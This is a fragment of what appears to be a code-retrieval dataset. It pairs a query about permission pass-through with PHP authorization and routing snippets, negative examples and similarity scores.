$setting->value;\n\t\t\t}\n\t\t}\n\n\t\treturn $this->subsite_acl_cache;\n\t}", "public function getAllPermission()\n {\n $query = $this->createQuery('permission');\n $query->innerJoin('permission.UserGroup');\n $query->innerJoin('permission.Resource');\n $query->orderBy('granted Desc');\n\n return $query;\n }", "public function getPermissions()\n {\n\n $roles = Role::where(function($query){\n\n $query->whereIn('id',$this->roles()->pluck('role_id'));\n\n })->with('permissions')->get();\n\n\n $permissions = $roles->map(function($role){\n\n $permissionData = $role->permissions->pluck('permission');\n\n if(sizeOf($permissionData) > 0)\n {\n return $permissionData[0];\n }\n\n })->filter(function($item){\n if($item !== null)\n {\n return $item;\n }\n });\n\n if ($permissions->count() <= 1)\n {\n return $permissions;\n }\n\n return $permissions->unique();\n\n }", "private function loadPermissions(): void\n {\n if ($this->permissions) {\n return;\n }\n\n $this->permissions = $this->cache->remember(\n $this->cacheKey, $this->cacheExpirationTime, fn () => $this->getSerializedPermissionsForCache()\n );\n\n // fallback for old cache method, must be removed on next mayor version\n if (! isset($this->permissions['alias'])) {\n $this->forgetCachedPermissions();\n $this->loadPermissions();\n\n return;\n }\n\n $this->alias = $this->permissions['alias'];\n\n $this->hydrateRolesCache();\n\n $this->permissions = $this->getHydratedPermissionCollection();\n\n $this->cachedRoles = $this->alias = $this->except = [];\n }", "function fetchAllPermissions() {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT id, name FROM permissions\");\n\t$results = $query->results();\n\treturn ($results);\n}", "static function &getPermissionPosition()\n {\n switch(self::detectPermission())\n {\n case 'org':\n return self::$permissions['orgs'][self::$org]['permissions'];\n break;\n\n case 'orgRole':\n return self::$permissions['orgs'][self::$org]['roles'][self::$role]['permissions'];\n break;\n\n case 'user':\n return self::$permissions['users'][self::$user]['permissions'];\n break;\n }\n }", "public function getPermissions(): int\n {\n return $this->permissions;\n }", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "public function getPerms()\r\n\t{\r\n\t\treturn $this->_perms;\r\n\t}", "public static function getList()\n {\n return collect([\n new Permission('control_panel_access', 'Control Panel Access', 'General'),\n new Permission('manage_users', 'Manage Users', 'ACL'),\n new Permission('manage_roles', 'Manage Roles', 'ACL'),\n new Permission('manage_permissions', 'Manage Permissions', 'ACL'),\n ]);\n }", "protected function getPermission(){\n if(Session::getKey(\"loggedIn\")):\n $userPermissions = array();\n $userPermission = Session::getKey(\"level\");\n if($userPermission[0]) { // tiene permiso para crear\n $userPermissions[] = \"create\";\n }\n if($userPermission[1]) { // tiene permiso para crear\n $userPermissions[] = \"read\";\n }\n if($userPermission[2]) { // tiene permiso para crear\n $userPermissions[] = \"update\";\n }\n if($userPermission[3]) { // tiene permiso para crear\n $userPermissions[] = \"delete\";\n }\n return $userPermissions; \n else:\n return false;\n endif;\n }", "public function getPermission()\n {\n return $this->permission;\n }", "public function getActivePermissionsList() {\n\n\t\tif ( !$data = Permission::select('id', 'title')->active()->get() ) {\n\t\t\treturn [];\n\t\t}\n\n\t\t$output = [];\n\t\tforeach ( $data as $item ) {\n\t\t\t$output[ $item->id ] = $item->title;\n\t\t}\n\n\t\treturn $output;\n\t}", "public function getPermissions() {\r\n $template = $this->getOne('Template');\r\n if (empty($template)) return array();\r\n\r\n /* get permissions for policy */\r\n $c = $this->xpdo->newQuery('modAccessPermission');\r\n $c->sortby('name','ASC');\r\n $permissions = $template->getMany('Permissions',$c);\r\n\r\n $data = $this->get('data');\r\n $lexicon = $template->get('lexicon');\r\n $list = array();\r\n /** @var modAccessPermission $permission */\r\n foreach ($permissions as $permission) {\r\n $desc = $permission->get('description');\r\n if (!empty($lexicon) && $this->xpdo->lexicon) {\r\n if (strpos($lexicon,':') !== false) {\r\n $this->xpdo->lexicon->load($lexicon);\r\n } else {\r\n $this->xpdo->lexicon->load('core:'.$lexicon);\r\n }\r\n $desc = $this->xpdo->lexicon($desc);\r\n }\r\n $active = array_key_exists($permission->get('name'),$data) && $data[$permission->get('name')] ? 1 : 0;\r\n $list[] = array(\r\n $permission->get('name'),\r\n $permission->get('description'),\r\n $desc,\r\n $permission->get('value'),\r\n $active,\r\n );\r\n }\r\n return $list;\r\n }", "public function getAllInUse()\n {\n return $this->auth->getAllPermissions();\n }", "private function getUserPermissions(){\n \n $permissions = PortalPersonal::getPermissionsEnabledByUser(Auth::user()->id);\n\n $permissions = explode(\",\", $permissions);\n //dd($permissions);\n //dd(PortalPersonal::getModulesAccordingPermissions($permissions));\n return PortalPersonal::getModulesAccordingPermissions($permissions);\n }", "public function all() : Collection\n {\n return Permission::all();\n }", "public function getAdminPermissions(): array;" ]
[ "0.87843674", "0.8361323", "0.8359486", "0.80001503", "0.78018534", "0.7697017", "0.7648491", "0.7546158", "0.7522587", "0.73968667", "0.7343264", "0.7343264", "0.7330901", "0.73256516", "0.7271512", "0.72272694", "0.71397847", "0.71397847", "0.71397847", "0.71167654", "0.70990664", "0.70665675", "0.70070547", "0.70008475", "0.6982783", "0.6973932", "0.6934125", "0.68612665", "0.68544537", "0.6851614", "0.6848107", "0.68474674", "0.68291235", "0.68291235", "0.68225265", "0.6793386", "0.67690086", "0.6767288", "0.6742348", "0.67256004", "0.67189604", "0.6713596", "0.6695946", "0.66685337", "0.66659516", "0.6653704", "0.6626028", "0.6625368", "0.6600828", "0.6586674", "0.65746397", "0.654378", "0.65437156", "0.6524319", "0.6521009", "0.65090066", "0.6492402", "0.6481861", "0.64571184", "0.6415316", "0.64059955", "0.63513136", "0.6342643", "0.6329371", "0.6319809", "0.6313146", "0.63117445", "0.6296423", "0.62935865", "0.6284055", "0.6282229", "0.6275451", "0.62554467", "0.62415195", "0.6239264", "0.62220347", "0.6167819", "0.61563694", "0.6146292", "0.61431825", "0.61382157", "0.6138046", "0.61379075", "0.6135831", "0.6127963", "0.6127963", "0.6127963", "0.6127963", "0.6127963", "0.6113847", "0.6112207", "0.61111546", "0.61033875", "0.60904616", "0.6082882", "0.60718304", "0.6060634", "0.6055417", "0.60528255" ]
0.6365499
62
If request should pass through the current permission.
public function shouldPassThrough(Request $request) : bool { if (empty($this->http_method) && empty($this->http_path)) { return true; } $method = $this->http_method; $matches = array_map(function ($path) use ($method) { $path = trim(config('backend.prefix'), '/').$path; if (Str::contains($path, ':')) { list($method, $path) = explode(':', $path); $method = explode(',', $method); } return compact('method', 'path'); }, explode("\r\n", $this->http_path)); foreach ($matches as $match) { if ($this->matchRequest($match, $request)) { return true; } } return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function check_permission()\n {\n return true;\n }", "protected function isPermissionCorrect() {}", "private function userHasAccess()\n {\n $required_perm = $this->route['perm'];\n $user_group = $_SESSION['user_group'];\n if ($required_perm == 'all') {\n return true;\n } elseif ($user_group == $required_perm) {\n return true;\n }\n return false;\n }", "public function isAlwaysGranted(): bool;", "public function authorize()\n {\n\n return true;\n\n if ($this->route('self_report')) { // If ID we must be changing an existing record\n return Auth::user()->can('self_report update');\n } else { // If not we must be adding one\n return Auth::user()->can('self_report add');\n }\n\n }", "public function check_access() {\n\n\t\tif (isset($this->current_entity_allowed)) {\n\t\t\treturn apply_filters('minerva_restrict_access_allowed', $this->current_entity_allowed);\n\t\t}\n\n\t\t$this->current_entity_allowed = MKB_Options::option('restrict_on') ?\n\t\t\t(bool) $this->check_entity_access($this->get_current_entity()) :\n\t\t\ttrue; // always allowed if restriction is off\n\n\t\treturn apply_filters('minerva_restrict_access_allowed', $this->current_entity_allowed);\n\t}", "public function authorize()\n {\n // all who has permission\n return true;\n }", "function cfwprapi_can_user_have_access( WP_REST_Request $request ) {\n return current_user_can( 'manage_options' );\n}", "public function authorize()\n {\n return request()->user() != null;\n }", "public function authorize()\n {\n return access()->hasPermissions(['view-backend', 'view-referral', 'manage-referral'], true);\n }", "public function get_item_permissions_check( $request ) {\n\t\treturn current_user_can( 'manage_options' );\n\t}", "public function authorize()\n {\n /*\n if ($this->loan_id && is_numeric($this->loan_id) && $loan = Loan::whereId($this->loan_id)->first()) {\n // loan_id belongs to requesting user\n return $loan && $this->user()->id == $loan->user_id;\n }\n */\n return true; // let rules handle it\n }", "public function authorize()\n {\n return $this->user() != null;\n }", "public function canAccess($request) {\n if($this->access_level === self::ROOT_LEVEL) {\n return true;\n }\n if(!empty($this->permissions)) {\n if(in_array($request, $this->permissions[$this->access_level], true)) {\n return true;\n }\n }\n return false;\n }", "public function checkPermission()\n\t{\n\t\tif ($this->User->isAdmin) {\n\t\t\treturn;\n\t\t}\n\n\t\t// TODO\n\t}", "public function authorize()\n\t{\n\t\t// if user is updating his profile or a user is an admin\n\t\tif( $this->user()->isSuperAdmin() || !$this->route('user') ){\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function authorize() {\n\t\t$this->workplace = $this->route('workplace');\n\t\t$this->workFunction = $this->route('workFunction');\n\t\treturn $this->user()->can('update', $this->workplace) && $this->user()->can('update', $this->workFunction);\n\t}", "public static function uses_permissions(): bool;", "public function authorize()\n {\n abort_if(Gate::denies('permission_edit'), Response::HTTP_FORBIDDEN, '403 Forbidden');\n\n return true;\n }", "function hook_permission_check($data) {\n\t\treturn false;\n\t}", "public function authorize()\n {\n //esto lo cambiamos a true para poder que nos dé permiso para acceder al request\n return true;\n }", "public function authorize()\n {\n\n if (Gate::allows('change-order-status', $this->route('order'))) {\n return true;\n }\n\n return false;\n }", "public function authorize()\n {\n return is_client_or_staff();\n }", "public function authorize()\n {\n return $this->user() !== null;\n }", "public function authorize()\n {\n return $this->user() !== null;\n }", "public function authorize()\n\t{\n\t\t//@todo check with perissions\n\t\treturn (request()->user()->user_type == ADMIN_USER);\n\t}", "public function authorize()\n\t{\n\t\t//@todo check with perissions\n\t\treturn (request()->user()->user_type == ADMIN_USER);\n\t}", "public function authorize()\n {\n return Gate::allows('add_to_dos') ? true : false;\n }", "public function hasAccess($permission);", "public function authorize()\n {\n switch ($this->method()) {\n case 'GET':\n case 'POST':\n case 'PUT':\n case 'PATCH':\n case 'DELETE':\n default:\n return $this->user()->type == 'App\\\\Staff' ? true : false;\n break;\n }\n\n return false;\n }", "public function authorize()\n {\n return !is_null($this->user());\n }", "public function performPermission()\n {\n // User Role flags\n // Admin = 20\n // Editor = 40\n // Author = 60 (deprecated)\n // Webuser = 100 (deprecated)\n //\n // Webuser dont have access to edit node data\n //\n if($this->controllerVar['loggedUserRole'] > 40)\n {\n return false;\n }\n\n return true;\n }", "public function authorize()\n {\n switch (true) {\n case $this->wantsToList():\n case $this->wantsToShow():\n if ($this->hasRoles(['owner', 'administrator'])) {\n return true;\n }\n break;\n case $this->wantsToStore():\n case $this->wantsToUpdate():\n case $this->wantsToDestroy():\n if ($this->hasRoles(['owner'])) {\n return true;\n }\n break;\n }\n\n return false;\n }", "public function get_announcement_permissions_check() {\n return current_user_can( 'manage_options' );\n }", "public function permissionInUse(string $permission): bool;", "public function authorize(): bool\n {\n return parent::authorize() && (int)$this->playList->user_id === auth()->user()->id;\n }", "public function authorize()\n {\n // this was my best guess\n return $this->user()->id === $this->route('user')->id;\n }", "function isAuthorized($request) {\n return true;\n }", "public function authorize()\n {\n switch ($this->method()) {\n case 'DELETE':\n {\n return true;\n }\n case 'POST':\n {\n return true;\n }\n case 'PUT':\n {\n if (Auth::user()->hasPermissionTo('post_update', 'blog')) {\n return true;\n } else {\n return true;\n }\n }\n default:\n break;\n }\n return true;\n }", "public function authorize()\n {\n return request()->loggedin_role === 1;\n }", "public function authorize()\n {\n if ($this->user()->parent_id == NULL) { //Solo si es Cacique puede agregar indios. Sino, 403!\n return true;\n } else {\n return false;\n }\n }", "public function authorize()\n {\n return $this->user()->can('update', $this->route('user'));\n }", "public function authorize()\n {\n //TODO Authorice Request (without Controller)\n return auth()->user()->role_id === 1;\n }", "public function authorize()\n {\n $hackedRoute = 'admin.media.update';\n if ( ! is_null($this->segment(4))) {\n $hackedRoute = 'admin.media_category.media.update#####' .$this->segment(3);\n }\n return hasPermission($hackedRoute);\n }", "public function authorize() {\n\t\t$this->competitor = $this->route('competitor');\n\t\treturn $this->user()->can('update', $this->competitor);\n\t}", "public function permissions()\n\t{\n\t\t// add any additional custom permission checking here and \n\t\t// return FALSE if user doesn't have permission\n\t\n\t\treturn TRUE;\n\t}", "public function authorize()\n {\n return $this->user()->id === $this->route('report')->user_id;\n }", "public function authorize()\n {\n return $this->user()->id === $this->route('report')->user_id;\n }", "public function authorize()\n {\n return true; // permet de verifier si nous pouvons avoir acces à la Request\n }", "public function authorize(): bool\n {\n return $this->user() !== null;\n }", "public static function currentUserHasAccess() {\n return current_user_can('admin_access');\n }", "function user_has_permission() {\r\n\tglobal $wp_query;\r\n\r\n\tif ( is_posttype( 'itinerary', POSTTYPE_ARCHIVEORSINGLE ) ) {\r\n\t\treturn current_user_can( 'ind_read_itinerary' );\r\n\t}\r\n\r\n\tif ( is_posttype( 'magazine', POSTTYPE_SINGLEONLY ) ) {\r\n\t\t// Check if this is the most recent post somehow\r\n\t}\r\n\r\n\tif ( is_posttype( 'magazine', POSTTYPE_ARCHIVEONLY ) ) {\r\n\t\treturn true;\r\n\t\t$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;\r\n\t\t$current = ( $paged == 1 && $wp_query->current_post == 0 );\r\n\t\treturn ( current_user_can( 'ind_read_magazine_archive' ) ||\r\n\t\t\t( $current /* && current_user_can( 'ind_read_magazine' ) */ ) );\r\n\t}\r\n\t\r\n\tif ( is_posttype( 'restaurant', POSTTYPE_SINGLEONLY )\r\n\t\t|| is_posttype( 'shop', POSTTYPE_SINGLEONLY )\r\n\t\t|| is_posttype( 'activity', POSTTYPE_SINGLEONLY )\r\n\t\t|| is_posttype( 'article', POSTTYPE_SINGLEONLY )\r\n\t\t|| is_posttype( 'insidertrip' ) ) {\r\n\t\tif ( current_user_can( 'ind_read_itinerary' ) ) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\t\r\n\t\t$counter_show = \\indagare\\cookies\\Counters::getPageCountGroup( 'restricted' );\r\n\t\tif ( $counter_show > INDG_PREVIEW_COUNT_MAX ) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\t\r\n\r\n\treturn true;\r\n}", "public function authorize()\n {\n $member = auth()->user()->member;\n return auth()->user()->can('pdg', $member) || auth()->user()->can('manager', $member);\n }", "public function authorize()\n {\n if($this->user()->role == \"admin\" || $this->user()->id == $this->request->get('author_id')) return true;\n else return false;\n }", "public function authorize()\n {\n return $this->user()->can('update', \\App\\Models\\Member::withTrashed()->find($this->id));\n }", "protected function hasPermission($request) {\n $required = $this->requiredPermission();\n return !$this->forbiddenRoute($request) && $request->user()->can($required);\n }", "public function authorize()\n {\n return $this->user()->can('update', $this->user());\n }", "public function authorize()\n {\n return access()->hasPermissions(['view-backend', 'view-inventory', 'manage-inventory'], true);\n }", "public function authorize()\n {\n if ($this->user() !== null) {\n return true;\n }\n return false;\n }", "protected function _isAllowed()\n {\n \treturn true;\n }", "public function batch_items_permissions_check() {\n return current_user_can( 'manage_options' );\n }", "public function authorize(): bool\n {\n return $this->user()->can('update_contact');\n }", "public function authorize()\n {\n if (Auth::user()->can('update-assignment')) return true;\n if (Auth::user()->hasRole('student'))\n if ($this->owns('assignment')) return true;\n return false;\n }", "public function authorize()\n {\n //Get the 'mark' id\n switch ((int) request()->segment(6)) {\n case 0:\n return access()->allow('deactivate-users');\n break;\n\n case 1:\n return access()->allow('reactivate-users');\n break;\n }\n\n return false;\n }", "public function get_item_permissions_check($request)\n {\n }", "public function authorize(): bool\n {\n if (Auth::user()->hasPermissionTo('delete thread')) {\n return true;\n }\n\n $thread = $this->run(GetThreadJob::class, [\n 'thread_id' => $this->request->all()['thread_id']\n ]);\n\n if ($thread != null && $thread->user_id === Auth::user()->id && Auth::user()->hasPermissionTo('delete own thread')) {\n return true;\n }\n\n return false;\n }", "protected function getCurrentPermission() {}", "public function authorize()\n {\n return $this->user()->can('view', Assignment::class);\n }", "public function authorize()\n {\n $project = \\App\\Project::find($this->request->get('project'));\n return $project && $project->isManager($this->user()->name);\n }", "public function restore_announcement_permissions_check() {\n return current_user_can( 'manage_options' );\n }", "public function authorize()\n {\n $resource = Resource::find($this->route('id'));\n\n if (!$resource) {\n return true;\n }\n\n return $resource && $this->user()->can('access', $resource);\n }", "public function authorize()\n {\n return $this->user()->can('create mindoro transaction');\n }", "public function authorize()\n {\n $canAdd = Voyager::can('add_membercontacts');\n $canUpdate = Voyager::can('edit_membercontacts');\n if($canAdd && $canUpdate)\n {\n return true;\n }\n else\n {\n // fix this with redirection\n return false;\n }\n }", "public function authorize()\n {\n return auth()->user()->can('update online assessment');\n }", "public function checkPermission(\\App\\Request $request)\n\t{\n\t\tif (!\\App\\User::getCurrentUserModel()->isAdmin() || !$request->has('record')) {\n\t\t\tthrow new \\App\\Exceptions\\NoPermittedForAdmin('LBL_PERMISSION_DENIED');\n\t\t}\n\t}", "public function authorize()\n {\n return $this->user()->can('manage-routes');\n }", "public function authorize()\n {\n return $this->user()->can('manage-routes');\n }", "private function _isAllowed()\r\n {\r\n $req = $this->app->request();\r\n $resource = strtoupper($req->getMethod()) . $req->getResourceUri() ;\r\n return in_array($resource, $this->config['allowed_resources']);\r\n }", "public function authorize()\n\t{\n\t\treturn true; //no user checking\n\t}", "public function authorize()\n {\n // User system not implemented\n return true;\n }", "public function authorize()\n {\n $contact = $this->route('contact');\n\n return $contact->user_id == auth()->id() || user()->acl < 9;\n }", "public function authorize() {\n\t\t$this->workplace = $this->route('workplace');\n\t\treturn $this->user()->can('create', WorkFunction::class) && $this->user()->can('update', $this->workplace);\n\t}", "public function authorize() : bool\n {\n // TODO check request to xhr in middleware\n return true;\n }", "public function authorize()\n {\n if(session('contact_key'))\n return true;\n\n if (! $this->user()->hasFeature(FEATURE_DOCUMENTS))\n return false;\n\n \n if ($this->invoice && $this->user()->cannot('edit', $this->invoice))\n return false;\n\n\n if ($this->expense && $this->user()->cannot('edit', $this->expense))\n return false;\n\n\n if($this->ticket && $this->user()->cannot('edit', $this->ticket))\n return false;\n\n\n return true;\n //return $this->user()->can('create');\n }", "public function authorize()\n {\n return true; //CUANDO GENERAMOS UN request TENEMOS QUE ESPECIFICAR QUE ESTA AUTORIZADFO PONIENDO TRUE\n }", "public function authorize()\n {\n $accessor = $this->user();\n\n return $accessor->isAdmin() || $accessor->hasKey('post-users');\n }", "protected function authorize(): bool\n {\n return true;\n }", "public function authorize()\n {\n $user = $this->findFromUrl('user');\n return $this->user()->can('update', $user);\n }", "function require_permission($required)\n{\n require_login();\n\n // owners have full access\n if ($_SESSION['permission'] == OWN) {\n return;\n }\n\n if ($required != $_SESSION['permission']) {\n redirect_to(url_for(\"/index.php\"));\n }\n}", "private function hasPermission()\n { $user = User::getLoggedInUser();\n $has_permission = false;\n if ($user->getCurrentRoleName() == \"instructor\") {\n $instructor = $user->getCurrentRoleData();\n if ($instructor->hasPermission(\"Edit Compliance Status\")) {\n $has_permission = true;\n }\n }\n\n return $has_permission;\n }", "public function authorize()\n {\n if(\\Auth::guest())\n {\n return false;\n } else {\n // Action 1 - Check if authenticated user is a superadmin\n if(\\Auth::User()->hasRole('superadmin'))\n return true;\n\n // Action 2 - Find UUID from request and compare to authenticated user\n $user = User::where('uuid', $this->user_uuid)->firstOrFail();\n if($user->id == \\Auth::User()->id)\n return true;\n\n // Action 3 - Fail request\n return false;\n }\n }", "public function authorize()\n {\n if ($this->user()->is_admin){\n return true;\n }\n else if ($this->method == \"PUT\"){\n if ($this->user()->id == $this->input('id')){\n return true;\n }\n }\n return false;\n }", "public function create_announcement_permissions_check() {\n return current_user_can( 'manage_options' );\n }", "function _checkAccess($a_cmd, $a_permission, $a_ref_id, $a_obj_id, $a_user_id = 0)\n {\n global $ilUser, $ilAccess;\n\n if ($a_user_id == 0) {\n $a_user_id = $ilUser->getId();\n }\n\n switch ($a_permission) {\n case \"read\":\n /*if (!ilObjUFreibFeedbackAccess::checkOnline($a_obj_id) &&\n !$ilAccess->checkAccessOfUser($a_user_id, \"write\", \"\", $a_ref_id))\n {\n return false;\n }*/\n break;\n }\n\n return true;\n }", "public function authorize()\n {\n return \\Auth::user()->canDo('ADD_PORTFOLIOS');\n }", "public function authorize()\n {\n if (auth()->user()->can('update')) {\n return true;\n }\n\t\t\n\t\treturn false;\n }", "public function authorize()\n {\n return $this->user()->hasPermission('subscription-service-create-plan');\n }", "public function authorize ()\n\t{\n\t\treturn true;\n\t}", "public function authorize ()\n\t{\n\t\treturn true;\n\t}", "public function checkAccess()\n {\n $orders = $this->getOrders();\n\n return parent::checkAccess()\n && $orders\n && $orders[0]\n && $orders[0]->getProfile();\n }", "public function authorize()\n\t{\n $subjectId = $this->route('subject');\n\n return Subject::find($subjectId)->user->id == Auth::id();\n\t}" ]
[ "0.7494049", "0.74431056", "0.7326354", "0.727658", "0.7273271", "0.7252148", "0.71831113", "0.7166456", "0.7146022", "0.7143464", "0.71430534", "0.70990705", "0.70718324", "0.70618486", "0.705973", "0.70066506", "0.7001715", "0.6987273", "0.69665855", "0.69662076", "0.69588065", "0.6956115", "0.69494283", "0.6945278", "0.6945278", "0.69441885", "0.69441885", "0.693001", "0.6924405", "0.692382", "0.69200647", "0.69113505", "0.6906923", "0.6905492", "0.6903147", "0.68974286", "0.68950653", "0.6895037", "0.68808216", "0.6873799", "0.6862139", "0.68592155", "0.68580014", "0.68411463", "0.68411136", "0.68367726", "0.6836666", "0.6836666", "0.6832018", "0.68294966", "0.68279004", "0.682673", "0.682664", "0.68002665", "0.6797345", "0.67962813", "0.6780137", "0.677031", "0.67682004", "0.6767342", "0.6765776", "0.67644584", "0.6760234", "0.6759327", "0.6748545", "0.6739923", "0.67396545", "0.67371345", "0.67306936", "0.6727495", "0.67272365", "0.6725979", "0.672194", "0.67185533", "0.67158526", "0.67042", "0.67042", "0.6697446", "0.668702", "0.6681524", "0.66806805", "0.66761464", "0.6672344", "0.66679794", "0.6667497", "0.6667461", "0.66668063", "0.665806", "0.6657515", "0.6657392", "0.6654419", "0.66503793", "0.6648694", "0.66465354", "0.6645252", "0.66420263", "0.6631281", "0.6626459", "0.6626459", "0.66228014", "0.66218686" ]
0.0
-1
If a request match the specific HTTP method and path.
protected function matchRequest(array $match, Request $request) : bool { if (!$request->is(trim($match['path'], '/'))) { return false; } $method = collect($match['method'])->filter()->map(function ($method) { return strtoupper($method); }); return $method->isEmpty() || $method->contains($request->method()); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function path_matches($request_path)\n {\n }", "public function handles(Request $request)\n {\n return preg_match($this->methodRegex, $request->method())\n && preg_match($this->urlRegex, $request->url());\n }", "public static function isGetMethod() {\n return isset($_SERVER['REQUEST_METHOD']) && self::GET == $_SERVER['REQUEST_METHOD'];\n }", "public function hasMethod() : bool\n {\n return array_key_exists($this->request->getMethod(), $this->routes);\n }", "public static function isAllowedRouteRequest() {\n\t\treturn self::$correct_request_method;\n\t}", "function ifItIsMethod($method=null){\n if ($_SERVER['REQUEST_METHOD'] == strtoupper($method)) {\n return true;\n }\n return false;\n}", "private function checkrequest()\n {\n // This method checks if there is user input, and returns the request_method if evaluated to be true\n if ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n $this->request = \"post\";\n return true;\n } elseif ($_SERVER['REQUEST_METHOD'] == \"GET\") {\n $this->request = \"get\";\n return true;\n } else {\n $this->request = false;\n }\n }", "function ajan_is_get_request() {\n\treturn (bool) ( 'GET' === strtoupper( $_SERVER['REQUEST_METHOD'] ) );\n}", "public function match ( Request $request ) {\n $params = [];\n $match = false;\n \n // set Request Url if it isn't passed as parameter\n $requestUrl = $request->requesturi();\n \n // set Request Method if it isn't passed as a parameter\n $requestMethod = $request->method();\n foreach($this->routes as $handler) {\n list($methods, $route, $target, $name) = $handler;\n $method_match = (stripos($methods, $requestMethod) !== false);\n // Method did not match, continue to next route.\n if (!$method_match) continue;\n \n if ( $route === '*' ) {\n // * wildcard (matches all)\n $match = true;\n } elseif (isset($route[0]) && $route[0] === '@') {\n // @ regex delimiter\n $pattern = '`' . substr($route, 1) . '`u';\n $match = preg_match($pattern, $requestUrl, $params) === 1;\n } elseif (($position = strpos($route, '[')) === false) {\n // No params in url, do string comparison\n $match = strcmp($requestUrl, $route) === 0;\n } else {\n // Compare longest non-param string with url\n if (strncmp($requestUrl, $route, $position) !== 0) {\n continue;\n }\n $regex = $this->compileRoute($route);\n $match = preg_match($regex, $requestUrl, $params) === 1;\n }\n if ($match) {\n if ($params) {\n foreach($params as $key => $value) {\n if(is_numeric($key)) unset($params[$key]);\n }\n }\n return array(\n 'target' => $target,\n 'params' => $params,\n 'name' => $name\n );\n }\n }\n return false;\n }", "public function canHandleRequest(\\Eeno\\Http\\Request $request)\n {\n if( strcasecmp($request->method() , $this->method() ) == 0 &&\n strcasecmp($this->url() , $request->url() ) == 0)\n return true;\n return false; \n }", "function isGetRequest() {\r\n return ( filter_input(INPUT_SERVER, 'REQUEST_METHOD') === 'GET' );\r\n}", "public function shouldPassThrough(Request $request)\n {\n if (empty($this->http_method) && empty($this->http_path)) {\n return true;\n }\n\n $method = $this->http_method;\n\n $matches = array_map(function ($path) use ($method) {\n // $path = trim(config('route.prefix'), '/').$path;\n\n if (Str::contains($path, ':')) {\n list($method, $path) = explode(':', $path);\n $method = explode(',', $method);\n }\n\n return compact('method', 'path');\n }, explode(\"\\r\\n\", $this->http_path));\n\n foreach ($matches as $match) {\n if ($this->matchRequest($match, $request)) {\n return true;\n }\n }\n\n return false;\n }", "public static function method($type) {\n return $_SERVER['REQUEST_METHOD'] == strtoupper($type);\n }", "public function shouldPassThrough(Request $request) : bool\n {\n if (empty($this->http_method) && empty($this->http_path)) {\n return true;\n }\n\n $method = $this->http_method;\n\n $matches = array_map(function ($path) use ($method) {\n $path = trim(config('backend.prefix'), '/').$path;\n\n if (Str::contains($path, ':')) {\n list($method, $path) = explode(':', $path);\n $method = explode(',', $method);\n }\n\n return compact('method', 'path');\n }, explode(\"\\r\\n\", $this->http_path));\n\n foreach ($matches as $match) {\n if ($this->matchRequest($match, $request)) {\n return true;\n }\n }\n\n return false;\n }", "public static function matchMethod(Request $first, Request $second)\n {\n return $first->getMethod() == $second->getMethod();\n }", "public static function isRequestMethod(string $method){\n $method = strtoupper($method);\n return ($_SERVER['REQUEST_METHOD'] === $method);\n }", "public function test_match_withSupportedMethod()\n {\n $route = new Route('GET|POST', '/home', 'test');\n $this->assertTrue(\n $route->match('GET', '/home'),\n 'match() must return true if method provided is supported by the route instanciated with more than one method.'\n );\n }", "function matchRequest(Request $request) {\n $requestPath = $request->getPath();\n\n if (mb_strpos($requestPath, $this->staticPrefix) !== 0) {\n return false;\n }\n\n if ($this->methodRequirement != null){\n if(mb_strcasecmp($this->methodRequirement, $request->getMethod()) != 0){\n return false;\n }\n }\n\n $result = preg_match($this->regex, $requestPath, $matches);\n\n if ($result == false) {\n return false;\n }\n\n foreach ($this->fnCheck as $fnCheck) {\n $result = $fnCheck($request);\n if (!$result) {\n return false;\n }\n }\n\n //Route has matched\n $params = array();\n\n foreach($this->variables as $routeVariable){\n if(array_key_exists($routeVariable->name, $matches) == true && \n strlen($matches[$routeVariable->name]) != 0) {\n $params[$routeVariable->name] = $matches[$routeVariable->name];\n }\n else if($routeVariable->default != null){\n $params[$routeVariable->name] = $routeVariable->default;\n }\n }\n\n return $params;\n }", "static public function IsMethodGET() {\n return (self::$method == \"GET\");\n }", "protected function _checkRequestMethods() {\n\t\t$action = $this->_action();\n\t\t$apiConfig = $action->config('api');\n\n\t\tif (!isset($apiConfig['methods'])) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$request = $this->_request();\n\t\tforeach ($apiConfig['methods'] as $method) {\n\t\t\tif ($request->is($method)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\tthrow new BadRequestException('Wrong request method');\n\t}", "function qa_is_http_get()\n{\n\tif (qa_to_override(__FUNCTION__)) { $args=func_get_args(); return qa_call_override(__FUNCTION__, $args); }\n\n\treturn $_SERVER['REQUEST_METHOD'] === 'GET';\n}", "public function match($requestUrl = null, $requestMethod = null)\n {\n $params = [];\n // set Request Url if it isn't passed as parameter\n if ( $requestUrl === null ) {\n $requestUrl = Server::isSetted('REQUEST_URI') ? Server::get('REQUEST_URI') : '/';\n }\n // strip base path from request url\n $requestUrl = substr($requestUrl, strlen($this->basePath));\n // Strip query string (?a=b) from Request Url\n if ( ($strpos = strpos($requestUrl, '?')) !== false ) {\n $requestUrl = substr($requestUrl, 0, $strpos);\n }\n $lastRequestUrlChar = $requestUrl ? $requestUrl[strlen($requestUrl)-1] : '';\n // set Request Method if it isn't passed as a parameter\n if ( $requestMethod === null ) {\n $requestMethod = Server::isSetted('REQUEST_METHOD') ? Server::get('REQUEST_METHOD') : 'GET';\n }\n foreach ($this->routes as $handler) {\n list($methods,$route,$target,$name,$permissions) = $handler;\n $method = (stripos($methods,$requestMethod) !== false);\n // Method did not match, continue to next route.\n if ( !$method ) {\n continue;\n }\n if ( $route === '*' ) {\n // * wildcard (matches all)\n $match = true;\n } elseif ( isset($route[0]) && $route[0] === '@' ) {\n // @ regex delimiter\n $pattern = '`' . substr($route, 1) . '`u';\n $match = preg_match($pattern, $requestUrl, $params) === 1;\n } elseif ( ($position = strpos($route, '[')) === false ) {\n // No params in url, do string comparison\n $match = strcmp($requestUrl, $route) === 0;\n } else {\n // Compare longest non-param string with url before moving on to regex\n if ( strncmp($requestUrl,$route,$position) !== 0 && ($lastRequestUrlChar === '/' || $route[$position-1] !== '/') ) {\n continue;\n }\n $regex = $this->compileRoute($route);\n $match = 